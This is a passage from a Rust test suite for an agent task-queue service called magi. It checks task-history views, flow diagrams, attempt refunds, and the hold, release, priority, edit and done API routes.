10211 assert_eq!(res.status, 404, "{}", res.body);
10212 }
10213
10214 #[tokio::test]
10218 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10219 let f = Fixture::start().await;
10220 let (a, b, gone) = (
10221 "20260902-140501-aaaa",
10222 "20260902-140502-bbbb",
10223 "20260902-140503-cccc",
10224 );
10225 write_run(&f.runs(), a, RunStatus::Stalled);
10226 let mut review = RunState::new(
10227 PathBuf::from("/repo/magi"),
10228 "main".to_owned(),
10229 "0123456789abcdef".to_owned(),
10230 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10231 .to_owned(),
10232 Config::default(),
10233 );
10234 review.id = b.to_owned();
10235 review.status = RunStatus::Merged;
10236 write_state(&f.runs(), &review);
10237
10238 let mut task = Task::new(
10239 "retry".to_owned(),
10240 "Do the thing".to_owned(),
10241 PathBuf::from("/repo/magi"),
10242 Source::Human,
10243 );
10244 task.start(a.to_owned());
10245 task.stall("quota");
10246 task.start(a.to_owned());
10247 task.start(b.to_owned());
10248 task.start(gone.to_owned());
10249 f.queue().put(&mut task).expect("file the task");
10250
10251 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10252 assert_eq!(res.status, 200, "{}", res.body);
10253 let v = res.json();
10254 let h = v["history"].as_array().expect("history");
10255 assert_eq!(h.len(), 4, "{v}");
10256 assert_eq!(h[0]["kind"], "competition");
10257 assert_eq!(h[0]["status"], "stalled");
10258 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10259 assert_eq!(h[1]["kind"], "resume", "{v}");
10260 assert!(
10261 h[0]["outcome"]
10262 .as_str()
10263 .unwrap()
10264 .contains("unknown. Pass #2"),
10265 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10266 );
10267 assert!(
10268 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10269 "{v}"
10270 );
10271 assert!(
10272 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10273 "an unrecorded cause must not be narrated as an operator park: {v}"
10274 );
10275 assert_eq!(h[2]["kind"], "review");
10276 assert!(
10277 h[2]["description"]
10278 .as_str()
10279 .unwrap()
10280 .contains("magi/aaaa/A")
10281 );
10282 assert_eq!(h[2]["status"], "merged");
10283 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10284 assert_eq!(v["runs_unreadable"], 1);
10285 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10286 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10287 assert_eq!(nodes[4]["note"], "unreadable");
10288 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10289 assert_eq!(v["instruction"], "Do the thing");
10290 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10291
10292 let run = f.get(&format!("/api/runs/{a}")).await.json();
10294 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10295
10296 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10297 }
10298
10299 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10300 let mut s = RunState::new(
10301 PathBuf::from("/repo/magi"),
10302 "main".to_owned(),
10303 "0123456789abcdef".to_owned(),
10304 "Do it".to_owned(),
10305 Config::default(),
10306 );
10307 s.status = status;
10308 edit(&mut s);
10309 s
10310 }
10311
10312 fn flow_task(runs: &[&str]) -> Task {
10313 let mut t = Task::new(
10314 "t".to_owned(),
10315 "Do it".to_owned(),
10316 PathBuf::from("/repo/magi"),
10317 Source::Human,
10318 );
10319 for r in runs {
10320 t.start((*r).to_owned());
10321 }
10322 t
10323 }
10324
10325 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10326 let h = task_history(task, |id| {
10327 states
10328 .iter()
10329 .find(|(i, _)| *i == id)
10330 .and_then(|(_, s)| s.clone())
10331 });
10332 task_flow(task, &h, 5, None)
10333 }
10334
10335 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10336 crate::queue::FollowUp {
10337 run: "20260901-000000-aaaa".to_owned(),
10338 origin_task: origin_task.map(str::to_owned),
10339 pr: "https://example.com/o/r/pull/1".to_owned(),
10340 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10341 .map(str::to_owned)
10342 .to_vec(),
10343 generation: 1,
10344 }
10345 }
10346
10347 fn parent_task() -> Task {
10348 let mut p = flow_task(&[]);
10349 p.title = "Parent title".to_owned();
10350 p.status = TaskStatus::Done;
10351 p
10352 }
10353
10354 #[test]
10355 fn flow_opens_with_the_parent_task_of_a_followup() {
10356 let p = parent_task();
10357 let pid = p.id.clone();
10358 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10359 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10360 let n = &f.nodes[0];
10361 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10362 assert_eq!(
10363 n.label,
10364 format!("Follow-up of {}", crate::queue::short(&pid))
10365 );
10366 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10367 assert_eq!(n.status, Some("done"));
10368 assert_eq!(n.status_of, "task");
10369 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10370 assert_eq!(f.nodes[1].key, "start");
10371 assert_eq!(f.edges[0].from, "origin");
10372 assert_eq!(
10373 f.edges[0].label,
10374 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10375 );
10376 }
10377
10378 #[test]
10379 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10380 let o = followup_origin(
10381 &fu(Some("gone")),
10382 |_| None,
10383 |_| {
10384 Some(RunState::new(
10385 std::path::PathBuf::from("."),
10386 "main".to_owned(),
10387 "0".to_owned(),
10388 "t".to_owned(),
10389 crate::config::Config::default(),
10390 ))
10391 },
10392 );
10393 assert!(o.parent.is_none());
10394 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10395 let n = &f.nodes[0];
10396 assert_eq!(n.status_of, "run");
10397 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10398 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10399 }
10400
10401 #[test]
10402 fn flow_followup_with_nothing_readable_has_no_link() {
10403 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10404 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10405 let n = &f.nodes[0];
10406 assert_eq!(n.href, None);
10407 assert_eq!(n.note, Some("unreadable"));
10408 assert!(!n.readable);
10409 }
10410
10411 #[test]
10412 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10413 let o = followup_origin(&fu(None), |_| None, |_| None);
10414 let mut t = flow_task(&[]);
10415 t.origin_chat = Some("c1".to_owned());
10416 let f = task_flow(&t, &[], 5, Some(&o));
10417 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10418 t.source = Source::Agent {
10419 run: "c1".to_owned(),
10420 node: crate::queue::CHAT_NODE.to_owned(),
10421 };
10422 let f = task_flow(&t, &[], 5, Some(&o));
10423 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10424 assert_eq!(
10425 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10426 ("chat", "origin")
10427 );
10428 }
10429
10430 #[test]
10431 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10432 let mut p = parent_task();
10433 p.id = "a b/c".to_owned();
10434 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10435 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10436 }
10437
10438 #[test]
10439 fn flow_opens_with_the_chat_that_queued_the_task() {
10440 let mut t = flow_task(&[]);
10441 t.source = Source::Agent {
10442 run: "a b/c".to_owned(),
10443 node: crate::queue::CHAT_NODE.to_owned(),
10444 };
10445 let f = flow_for(&t, &[]);
10446 assert_eq!(f.nodes[0].key, "chat");
10447 assert_eq!(f.nodes[0].kind, "chat");
10448 assert_eq!(
10449 f.nodes[0].label,
10450 format!("Chat {}", crate::queue::short("a b/c"))
10451 );
10452 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10453 assert_eq!(f.nodes[1].key, "start");
10454 assert_eq!(
10455 f.edges[0],
10456 FlowEdge {
10457 from: "chat".to_owned(),
10458 to: "start".to_owned(),
10459 label: "queued from chat".to_owned(),
10460 attempt: AttemptCost::None,
10461 }
10462 );
10463 }
10464
10465 #[test]
10466 fn flow_has_no_chat_box_for_other_sources() {
10467 for source in [
10468 Source::Human,
10469 Source::Issue {
10470 number: 3,
10471 repo: "o/r".to_owned(),
10472 },
10473 Source::Agent {
10474 run: "20260904-014455-ab12".to_owned(),
10475 node: "implement".to_owned(),
10476 },
10477 ] {
10478 let mut t = flow_task(&[]);
10479 t.source = source;
10480 let f = flow_for(&t, &[]);
10481 assert_eq!(f.nodes[0].key, "start");
10482 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10483 assert!(f.edges.iter().all(|e| e.from != "chat"));
10484 }
10485 }
10486
10487 const FA: &str = "20260902-140501-aaaa";
10488 const FB: &str = "20260902-140502-bbbb";
10489
10490 #[test]
10491 fn flow_follows_blocked_retry_merged_to_done() {
10492 let mut t = flow_task(&[FA, FB]);
10493 t.status = TaskStatus::Done;
10494 let f = flow_for(
10495 &t,
10496 &[
10497 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10498 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10499 ],
10500 );
10501 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10502 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10503 assert_eq!(f.edges.len(), 3);
10504 assert_eq!(f.edges[0].label, "claimed");
10505 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10506 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10507 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10508 assert_eq!(
10509 f.nodes[2].href.as_deref(),
10510 Some("#/runs/20260902-140502-bbbb")
10511 );
10512 assert!(f.nodes[2].decided);
10513 }
10514
10515 #[test]
10516 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10517 let quota = || {
10518 flow_run(RunStatus::Stalled, |s| {
10519 s.quota.push(crate::run::QuotaLoss {
10520 seat: "judge-1".to_owned(),
10521 node: "judge".to_owned(),
10522 at: Timestamp::now(),
10523 reset: None,
10524 })
10525 })
10526 };
10527 let mut t = flow_task(&[FA, FA]);
10528 t.status = TaskStatus::Queued;
10529 let f = flow_for(&t, &[(FA, Some(quota()))]);
10530 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10531 assert_eq!(f.nodes[1].note, Some("interrupted"));
10532 assert_eq!(
10533 f.nodes[1].status, None,
10534 "no outcome copied onto an earlier pass"
10535 );
10536 assert_eq!(
10537 f.edges[1].attempt,
10538 AttemptCost::Unknown,
10539 "a resume does not prove the earlier pass was refunded"
10540 );
10541 assert!(f.edges[1].label.contains("resume the same run"));
10542 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10543 assert_eq!(
10544 f.edges[2].label,
10545 "stalled after a resume, refund unknown \u{2192} queued"
10546 );
10547 assert!(!f.nodes[2].decided, "a stall is not a decision");
10548 assert_eq!(f.nodes[2].note, Some("no verdict"));
10549 }
10550
10551 #[test]
10552 fn flow_single_pass_quota_stall_is_refunded() {
10553 let t = flow_task(&[FA]);
10554 let f = flow_for(
10555 &t,
10556 &[(
10557 FA,
10558 Some(flow_run(RunStatus::Stalled, |s| {
10559 s.quota.push(crate::run::QuotaLoss {
10560 seat: "judge-1".to_owned(),
10561 node: "judge".to_owned(),
10562 at: Timestamp::now(),
10563 reset: None,
10564 })
10565 })),
10566 )],
10567 );
10568 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10569 }
10570
10571 #[test]
10572 fn flow_parked_refunds_and_stall_without_quota_spends() {
10573 let mut t = flow_task(&[FA]);
10574 t.status = TaskStatus::Queued;
10575 let f = flow_for(
10576 &t,
10577 &[(
10578 FA,
10579 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10580 )],
10581 );
10582 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10583 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10584 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10585 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10586 assert!(!f.nodes[1].decided);
10587 }
10588
10589 #[test]
10590 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10591 let t = flow_task(&[FA, FB]);
10592 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10593 assert_eq!(f.nodes[1].note, Some("unreadable"));
10594 assert!(!f.nodes[1].readable);
10595 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10596 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10597 }
10598
10599 #[test]
10600 fn flow_names_the_branch_of_a_review_only_run() {
10601 let t = flow_task(&[FA]);
10602 let f = flow_for(
10603 &t,
10604 &[(
10605 FA,
10606 Some(flow_run(RunStatus::Merged, |s| {
10607 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10608 })),
10609 )],
10610 );
10611 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10612 assert_eq!(
10613 f.nodes[1].detail.as_deref(),
10614 Some("review-only run of branch magi/x/A")
10615 );
10616 }
10617
10618 #[test]
10619 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10620 let mut t = flow_task(&[FA]);
10621 t.status = TaskStatus::Held;
10622 let pr = crate::run::PrRecord {
10623 url: "https://example.test/pr/1".to_owned(),
10624 number: 1,
10625 state: "open".to_owned(),
10626 checks: "green".to_owned(),
10627 round: 0,
10628 rounds: 3,
10629 red_at_merge: Vec::new(),
10630 };
10631 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10632 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10633 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10634 t.status = TaskStatus::Done;
10635 let f = flow_for(&t, &[(FA, Some(blocked))]);
10636 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10637 }
10638
10639 #[test]
10640 fn flow_with_no_runs_goes_from_queued_to_queued() {
10641 let t = flow_task(&[]);
10642 let f = flow_for(&t, &[]);
10643 assert_eq!(f.nodes.len(), 2);
10644 assert_eq!(f.edges.len(), 1);
10645 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10646 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10647 }
10648
10649 #[test]
10652 fn a_parked_non_terminal_run_is_explained_as_parked() {
10653 let mut s = RunState::new(
10654 PathBuf::from("/repo/magi"),
10655 "main".to_owned(),
10656 "0123456789abcdef".to_owned(),
10657 "Do it".to_owned(),
10658 Config::default(),
10659 );
10660 s.status = RunStatus::Implementing;
10661 s.parked = true;
10662 let task = Task::new(
10663 "t".to_owned(),
10664 "Do it".to_owned(),
10665 PathBuf::from("/repo/magi"),
10666 Source::Human,
10667 );
10668 let v = task_run_view(
10669 "20260902-140501-aaaa",
10670 Some(&s),
10671 RunSlot {
10672 n: 1,
10673 resumed: false,
10674 resumed_later: None,
10675 prior: None,
10676 last: true,
10677 },
10678 &task,
10679 );
10680 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10681 }
10682
10683 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10684 let mut s = flow_run(RunStatus::Implementing, edit);
10685 s.parked = false;
10686 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10687 task_run_view(
10688 "20260902-140501-aaaa",
10689 Some(&s),
10690 RunSlot {
10691 n: 1,
10692 resumed: false,
10693 resumed_later: Some(2),
10694 prior: None,
10695 last: false,
10696 },
10697 &task,
10698 )
10699 }
10700
10701 #[test]
10702 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10703 let v = earlier_pass_view(|_| {});
10704 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10705 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10706 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10707 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10708 assert_eq!(v.exit, RunExit::Interrupted);
10709 assert_eq!(v.attempt, AttemptCost::Unknown);
10710 }
10711
10712 #[test]
10713 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10714 let v = earlier_pass_view(|s| {
10715 s.quota.push(crate::run::QuotaLoss {
10716 seat: "judge-1".to_owned(),
10717 node: "judge".to_owned(),
10718 at: Timestamp::now(),
10719 reset: None,
10720 });
10721 });
10722 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10723 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10724 assert_eq!(v.attempt, AttemptCost::Unknown);
10725 }
10726
10727 #[test]
10728 fn the_current_pass_states_its_recorded_cause_and_cost() {
10729 let slot = || RunSlot {
10730 n: 1,
10731 resumed: false,
10732 resumed_later: None,
10733 prior: None,
10734 last: true,
10735 };
10736 let task = flow_task(&["20260902-140501-aaaa"]);
10737 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10738 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10739 assert_eq!(
10740 (v.exit, v.attempt),
10741 (RunExit::Parked, AttemptCost::Refunded)
10742 );
10743 let spent = flow_run(RunStatus::Blocked, |_| {});
10744 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10745 assert_eq!(v.attempt, AttemptCost::Spent);
10746 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10747 }
10748
10749 #[tokio::test]
10750 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10751 let f = Fixture::start().await;
10752 let queue = f.queue();
10753 let mut task = Task::new(
10754 "spent".to_owned(),
10755 "Try again".to_owned(),
10756 PathBuf::from("/repo/magi"),
10757 Source::Human,
10758 );
10759 task.start("20260902-140502-bbbb".to_owned());
10760 task.fail("agent gave up", 9);
10761 queue.put(&mut task).expect("file the task");
10762
10763 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10764 assert_eq!(held.status, 200);
10765 assert_eq!(held.json()["status_str"], "held");
10766
10767 let released = f
10768 .post(&format!("/api/queue/{}/release", task.id), None)
10769 .await;
10770 assert_eq!(released.status, 200);
10771 assert_eq!(released.json()["status_str"], "queued");
10772 assert_eq!(
10773 released.json()["attempts"],
10774 0,
10775 "release is a real second chance, not an instant re-hold"
10776 );
10777 assert_eq!(
10778 queue.get(&task.id).expect("reload").status,
10779 TaskStatus::Queued,
10780 "the change is on disk, not only in the reply"
10781 );
10782 assert!(
10783 !f.home
10784 .path()
10785 .join("queue")
10786 .join(format!("{}.lock", task.id))
10787 .exists(),
10788 "the claim the mutation took is released again"
10789 );
10790 }
10791
10792 #[tokio::test]
10793 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10794 let f = Fixture::start().await;
10795 let queue = f.queue();
10796 let mut task = Task::new(
10797 "busy".to_owned(),
10798 "Running right now".to_owned(),
10799 PathBuf::from("/repo/magi"),
10800 Source::Human,
10801 );
10802 queue.put(&mut task).expect("file the task");
10803 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10804
10805 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10806
10807 assert_eq!(res.status, 409);
10808 assert_eq!(
10809 queue.get(&task.id).expect("reload").status,
10810 TaskStatus::Queued,
10811 "the refused hold changed nothing"
10812 );
10813 }
10814
10815 #[tokio::test]
10816 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10817 let f = Fixture::start().await;
10818 let queue = f.queue();
10819 let mut task = Task::new(
10820 "waiting on the migration".to_owned(),
10821 "Do the thing".to_owned(),
10822 PathBuf::from("/repo/magi"),
10823 Source::Human,
10824 );
10825 queue.put(&mut task).expect("file the task");
10826
10827 let held = f
10828 .post(
10829 &format!("/api/queue/{}/hold", task.id),
10830 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10831 )
10832 .await;
10833 assert_eq!(held.status, 200, "{}", held.body);
10834 assert_eq!(held.json()["status_str"], "held");
10835 assert_eq!(
10836 held.json()["hold_reason"],
10837 "waiting for 20260101-000000-aaaa to land"
10838 );
10839
10840 let listed = f.get("/api/queue").await.json();
10841 assert_eq!(
10842 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10843 "the card reads the reason off the same list route"
10844 );
10845
10846 let mut plain = Task::new(
10849 "no reason given".to_owned(),
10850 "Do another thing".to_owned(),
10851 PathBuf::from("/repo/magi"),
10852 Source::Human,
10853 );
10854 queue.put(&mut plain).expect("file the task");
10855 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10856 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10857 assert!(held_plain.json()["hold_reason"].is_null());
10858
10859 let released = f
10860 .post(&format!("/api/queue/{}/release", task.id), None)
10861 .await;
10862 assert_eq!(released.status, 200);
10863 assert!(
10864 released.json()["hold_reason"].is_null(),
10865 "a release must clear the reason so the next hold does not inherit it"
10866 );
10867 }
10868
10869 #[tokio::test]
10870 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10871 let f = Fixture::start().await;
10872 let queue = f.queue();
10873 let mut older = Task::new(
10874 "filed first".to_owned(),
10875 "x".to_owned(),
10876 PathBuf::from("/repo/magi"),
10877 Source::Human,
10878 );
10879 older.id = "20260101-000001-aaaa".to_owned();
10880 let mut newer = Task::new(
10881 "filed second".to_owned(),
10882 "x".to_owned(),
10883 PathBuf::from("/repo/magi"),
10884 Source::Human,
10885 );
10886 newer.id = "20260101-000002-bbbb".to_owned();
10887 queue.put(&mut older).expect("file older");
10888 queue.put(&mut newer).expect("file newer");
10889
10890 let before = f.get("/api/queue").await.json();
10893 assert_eq!(before[0]["id"], newer.id);
10894 assert_eq!(before[1]["id"], older.id);
10895
10896 let raised = f
10900 .post(
10901 &format!("/api/queue/{}/priority", older.id),
10902 Some(r#"{"priority":10}"#),
10903 )
10904 .await;
10905 assert_eq!(raised.status, 200, "{}", raised.body);
10906 assert_eq!(raised.json()["priority"], 10);
10907
10908 let after = f.get("/api/queue").await.json();
10909 let names: Vec<&str> = after
10910 .as_array()
10911 .unwrap()
10912 .iter()
10913 .map(|t| t["id"].as_str().unwrap())
10914 .collect();
10915 assert_eq!(names[0], older.id, "the raised task now sorts first");
10919 }
10920
10921 #[tokio::test]
10922 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10923 let f = Fixture::start().await;
10924 let queue = f.queue();
10925 let mut task = Task::new(
10926 "in flight".to_owned(),
10927 "x".to_owned(),
10928 PathBuf::from("/repo/magi"),
10929 Source::Human,
10930 );
10931 task.start("20260902-140502-bbbb".to_owned());
10932 queue.put(&mut task).expect("file the task");
10933
10934 let res = f
10935 .post(
10936 &format!("/api/queue/{}/priority", task.id),
10937 Some(r#"{"priority":9}"#),
10938 )
10939 .await;
10940 assert_eq!(res.status, 400, "{}", res.body);
10941 assert!(
10942 res.json()["error"]
10943 .as_str()
10944 .is_some_and(|e| e.contains("running")),
10945 "{}",
10946 res.body
10947 );
10948 assert_eq!(
10949 queue.get(&task.id).expect("reload").priority,
10950 0,
10951 "the refused write must not partially apply"
10952 );
10953 }
10954
10955 #[tokio::test]
10956 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10957 let f = Fixture::start().await;
10958 let queue = f.queue();
10959 let mut task = Task::new(
10960 "old title".to_owned(),
10961 "old instruction".to_owned(),
10962 PathBuf::from("/repo/magi"),
10963 Source::Agent {
10964 run: "20260101-000000-beef".to_owned(),
10965 node: "implement".to_owned(),
10966 },
10967 );
10968 task.runs.push("20260101-000000-beef".to_owned());
10969 queue.put(&mut task).expect("file the task");
10970 let created_at = task.created_at;
10971
10972 let edited = f
10973 .post(
10974 &format!("/api/queue/{}/edit", task.id),
10975 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10976 )
10977 .await;
10978 assert_eq!(edited.status, 200, "{}", edited.body);
10979 let body = edited.json();
10980 assert_eq!(body["title"], "new title");
10981 assert_eq!(body["instruction"], "new instruction");
10982 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10983 assert_eq!(body["created_at"], created_at.to_string());
10984 assert_eq!(
10985 body["source"]["kind"], "agent",
10986 "editing a task an agent filed must not turn it human: {body}"
10987 );
10988 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10989
10990 let reloaded = queue.get(&task.id).expect("reload");
10991 assert_eq!(reloaded.title, "new title");
10992 assert_eq!(reloaded.instruction, "new instruction");
10993 }
10994
10995 #[tokio::test]
10996 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10997 let tmp = TempDir::new().expect("tempdir");
11000 let repo = tmp.path().join("repo");
11001 std::fs::create_dir_all(&repo).expect("repo dir");
11002 let judge = MOCK_AGENT_TOML.replace(
11003 "printf ok",
11004 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11005 );
11006 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11007 let f = Fixture::with_repo(repo.clone()).await;
11008 let queue = f.queue();
11009 let mut owner = Task::new(
11010 "owner".to_owned(),
11011 "review it".to_owned(),
11012 repo.clone(),
11013 Source::Human,
11014 );
11015 owner.review_branch = Some("magi/ab12/A".to_owned());
11016 queue.put(&mut owner).expect("file the owner");
11017 let mut task = Task::new(
11018 "draft".to_owned(),
11019 "old".to_owned(),
11020 repo.clone(),
11021 Source::Human,
11022 );
11023 queue.put(&mut task).expect("file the draft");
11024 let url = format!("/api/queue/{}/edit", task.id);
11025
11026 let refused = f
11027 .post(
11028 &url,
11029 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11030 )
11031 .await;
11032 assert_eq!(refused.status, 409, "{}", refused.body);
11033 let msg = refused.json()["error"]
11034 .as_str()
11035 .unwrap_or_default()
11036 .to_owned();
11037 assert!(
11038 msg.contains("magi/ab12/A") && msg.contains("force"),
11039 "{msg}"
11040 );
11041 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11042
11043 let forced = f
11044 .post(
11045 &url,
11046 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11047 )
11048 .await;
11049 assert_eq!(forced.status, 200, "{}", forced.body);
11050 }
11051
11052 #[tokio::test]
11053 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11054 let f = Fixture::start().await;
11055 let queue = f.queue();
11056 let mut task = Task::new(
11057 "in flight".to_owned(),
11058 "do not touch".to_owned(),
11059 PathBuf::from("/repo/magi"),
11060 Source::Human,
11061 );
11062 task.start("20260902-140502-bbbb".to_owned());
11063 queue.put(&mut task).expect("file the task");
11064
11065 let res = f
11066 .post(
11067 &format!("/api/queue/{}/edit", task.id),
11068 Some(r#"{"title":"x","instruction":"y"}"#),
11069 )
11070 .await;
11071 assert_eq!(res.status, 400, "{}", res.body);
11072 assert!(
11073 res.json()["error"]
11074 .as_str()
11075 .is_some_and(|e| e.contains("running")),
11076 "{}",
11077 res.body
11078 );
11079 assert_eq!(
11080 queue.get(&task.id).expect("reload").instruction,
11081 "do not touch",
11082 "the refused edit must not change the file"
11083 );
11084 }
11085
11086 #[tokio::test]
11087 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11088 let f = Fixture::start().await;
11089 let queue = f.queue();
11090 let mut task = Task::new(
11091 "busy".to_owned(),
11092 "Running right now".to_owned(),
11093 PathBuf::from("/repo/magi"),
11094 Source::Human,
11095 );
11096 queue.put(&mut task).expect("file the task");
11097 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11098
11099 let priority = f
11100 .post(
11101 &format!("/api/queue/{}/priority", task.id),
11102 Some(r#"{"priority":9}"#),
11103 )
11104 .await;
11105 assert_eq!(priority.status, 409, "{}", priority.body);
11106
11107 let edit = f
11108 .post(
11109 &format!("/api/queue/{}/edit", task.id),
11110 Some(r#"{"title":"x","instruction":"y"}"#),
11111 )
11112 .await;
11113 assert_eq!(edit.status, 409, "{}", edit.body);
11114 }
11115
11116 #[tokio::test]
11117 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11118 let f = Fixture::start().await;
11119 let queue = f.queue();
11120 let mut task = Task::new(
11121 "shipped by hand".to_owned(),
11122 "merged outside the loop".to_owned(),
11123 PathBuf::from("/repo/magi"),
11124 Source::Agent {
11125 run: "20260101-000000-b455".to_owned(),
11126 node: "implement".to_owned(),
11127 },
11128 );
11129 task.runs.push("20260101-000000-b455".to_owned());
11130 task.runs.push("20260101-000000-9af4".to_owned());
11131 queue.put(&mut task).expect("file the task");
11132 let created_at = task.created_at;
11133
11134 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11135 assert_eq!(done.status, 200, "{}", done.body);
11136 assert_eq!(done.json()["status_str"], "done");
11137
11138 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11139 assert_eq!(
11140 reloaded.runs,
11141 ["20260101-000000-b455", "20260101-000000-9af4"]
11142 );
11143 assert_eq!(
11144 reloaded.source,
11145 Source::Agent {
11146 run: "20260101-000000-b455".to_owned(),
11147 node: "implement".to_owned(),
11148 }
11149 );
11150 assert_eq!(reloaded.created_at, created_at);
11151 }
11152
11153 #[tokio::test]
11154 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11155 let f = Fixture::start().await;
11160 let queue = f.queue();
